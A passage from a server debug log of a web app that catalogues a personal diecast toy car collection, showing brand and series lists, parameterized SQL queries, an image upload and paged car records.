  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-03T12:54:19.273Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2026-02-03T12:54:19.274Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-03T12:54:19.274Z server-connect:app Executing action step select
2026-02-03T12:54:19.274Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T12:54:19.276Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-03T12:54:19.276Z server-connect:app Executing action step select
2026-02-03T12:54:19.276Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T12:54:19.277Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T12:54:19.277Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-03T12:56:04.719Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T12:56:04.720Z server-connect:app Executing action step identify
2026-02-03T12:56:04.720Z server-connect:app options: { provider: 'security' }
2026-02-03T12:56:04.720Z server-connect:output identity: 1
2026-02-03T12:56:04.720Z server-connect:app Executing action step restrict
2026-02-03T12:56:04.720Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:56:04.721Z server-connect:output restrict: undefined
2026-02-03T12:56:04.721Z server-connect:app Executing action step condition
2026-02-03T12:56:04.721Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T12:56:04.722Z server-connect:app Executing action step insert
2026-02-03T12:56:04.722Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T12:56:04.724Z server-connect:output insert: { affected: 1, identity: 134 }
2026-02-03T12:56:04.724Z server-connect:app Executing action step condition
2026-02-03T12:56:04.724Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-03T12:56:04.728Z server-connect:app Executing action step upload
2026-02-03T12:56:04.728Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T12:56:04.728Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-03T12:56:04.728Z server-connect:upload Process fields: 'images[]'
2026-02-03T12:56:04.729Z server-connect:upload Processing file: {
  name: 'ID061972_A5ZEtfVrdOpe.jpeg',
  data: <Buffer >,
  size: 73031,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-1-20378841770123364716',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'c7b34daef72dad0ee48cf610b501329d',
  mv: [Function: mv]
}
2026-02-03T12:56:04.731Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID061972_A5ZEtfVrdOpe_aeac649f-cd4a-4ccf-83dc-1b7d141fd959.jpeg',
  rel: 'public/assets/images/diecast/ID061972_A5ZEtfVrdOpe_aeac649f-cd4a-4ccf-83dc-1b7d141fd959.jpeg'
}
2026-02-03T12:56:04.731Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID061972_A5ZEtfVrdOpe_aeac649f-cd4a-4ccf-83dc-1b7d141fd959.jpeg',
  rel: 'assets/images/diecast/ID061972_A5ZEtfVrdOpe_aeac649f-cd4a-4ccf-83dc-1b7d141fd959.jpeg'
}
2026-02-03T12:56:04.731Z server-connect:output upload_image: [
  {
    name: 'ID061972_A5ZEtfVrdOpe_aeac649f-cd4a-4ccf-83dc-1b7d141fd959.jpeg',
    path: '/public/assets/images/diecast/ID061972_A5ZEtfVrdOpe_aeac649f-cd4a-4ccf-83dc-1b7d141fd959.jpeg',
    url: '/assets/images/diecast/ID061972_A5ZEtfVrdOpe_aeac649f-cd4a-4ccf-83dc-1b7d141fd959.jpeg',
    type: 'image/jpeg',
    size: 73031
  }
]
2026-02-03T12:56:04.731Z server-connect:app Executing action step repeat
2026-02-03T12:56:04.731Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T12:56:04.731Z server-connect:app Executing action step insert
2026-02-03T12:56:04.731Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T12:56:04.733Z server-connect:output images: { affected: 1, identity: 152 }
2026-02-03T12:56:04.733Z server-connect:output repeat_images: [ {} ]
2026-02-03T12:56:04.733Z server-connect:output condition: undefined
2026-02-03T12:56:04.733Z server-connect:output condition: undefined
2026-02-03T12:56:04.989Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T12:56:04.989Z server-connect:app Executing action step identify
2026-02-03T12:56:04.989Z server-connect:app options: { provider: 'security' }
2026-02-03T12:56:04.989Z server-connect:output identity: 1
2026-02-03T12:56:04.989Z server-connect:app Executing action step restrict
2026-02-03T12:56:04.989Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:56:04.990Z server-connect:output restrict: undefined
2026-02-03T12:56:04.990Z server-connect:app Executing action step paged
2026-02-03T12:56:04.990Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T12:56:04.993Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 116,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 134,
      model_name: '58 Chevy Impala',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
